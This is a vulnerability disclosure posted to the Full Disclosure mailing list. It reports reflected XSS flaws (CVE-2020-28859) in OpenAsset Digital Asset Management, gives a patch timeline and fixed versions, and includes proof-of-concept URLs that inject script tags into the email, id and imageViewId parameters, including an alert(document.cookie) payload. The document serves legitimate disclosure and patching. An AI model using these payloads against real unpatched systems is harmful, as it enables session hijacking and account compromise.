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<h1 class="m-title">Reflected cross-site scripting (XSS) in OpenAsset Digital Asset Management 11.2.1/12.0.19 disclosure</h1>
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<em>From</em>: Jack Misiura via Fulldisclosure <fulldisclosure () seclists org>
<em>Date</em>: Thu, 10 Dec 2020 07:59:49 +0000
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<pre style="margin: 0em;">Title: Reflected cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: <a rel="nofollow" href="https://www.openasset.com/">https://www.openasset.com/</a>
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.22 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28859
Author: Jack Misiura from The Missing Link
Website: <a rel="nofollow" href="https://www.themissinglink.com.au">https://www.themissinglink.com.au</a>
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
Multiple reflected cross-site scripting (XSS) vulnerabilities in the OpenAsset Digital Asset Management software allows
remote attackers to inject arbitrary JavaScript or HTML via:
* Account recovery/password reset page through the email parameter
* Saved search request, through the id parameter
* Search result request, through both the imageViewId and lpFilterInputId parameters
2. PoC
Account recovery:
<a rel="nofollow" href="https://example.com/Page/StartAccountRecovery?ok=1">https://example.com/Page/StartAccountRecovery?ok=1</a>
<<a rel="nofollow" href="https://example.com/Page/StartAccountRecovery?ok=1&email=test%40test%3cscript%3ealert">https://example.com/Page/StartAccountRecovery?ok=1&email=test%40test%3cscript%3ealert</a>(document.cookie)%3c%2Fscript%3e.com>
&email=test%40test<script>alert(document.cookie)<%2Fscript>.com
Saved search request:
<a rel="nofollow" href="https://example.com/AJAXPage/SavedSearch?id=167826">https://example.com/AJAXPage/SavedSearch?id=167826</a>
<<a rel="nofollow" href="https://example.com/AJAXPage/SavedSearch?id=167826%22&apos">https://example.com/AJAXPage/SavedSearch?id=167826%22&apos</a>;)%3b%7d%3b%7d%5d%7d)%3b%3c/script%3e%3cscript%3ealert(%22Reflected%20XSS!%22)%3b%3c/script>
"')%3b}%3b}]})%3b</script><script>alert("Reflected%20XSS!")%3b</script>
"');}}}]});alert(123);
Search result request:
<a rel="nofollow" href="https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript">https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript</a>
<<a rel="nofollow" href="https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript%3ealert">https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript%3ealert</a>(%22more+xss+here%22)%3b%3c/script>
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">alert("more+xss+here")%3b</script>
</pre></blockquote><pre style="margin: 0em;">
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the
vendor has already updated it.
4. Advisory URL
<a rel="nofollow" href="https://www.themissinglink.com.au/security-advisories">https://www.themissinglink.com.au/security-advisories</a>
Jack Misiura
Application Security Consultant
a
9‑11 Dickson Avenue
Artarmon
NSW
2064
p
1300 865 865
os
+61 2 8436 8585
w
<<a rel="nofollow" href="https://www.themissinglink.com.au/">https://www.themissinglink.com.au/</a>> themissinglink.com.au
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<p><strong>Attachment:
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<em>Description:</em> </p>
<pre style="margin: 0em;">
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<li><strong>Reflected cross-site scripting (XSS) in OpenAsset Digital Asset Management 11.2.1/12.0.19 disclosure</strong> <em>Jack Misiura via Fulldisclosure (Dec 11)</em>
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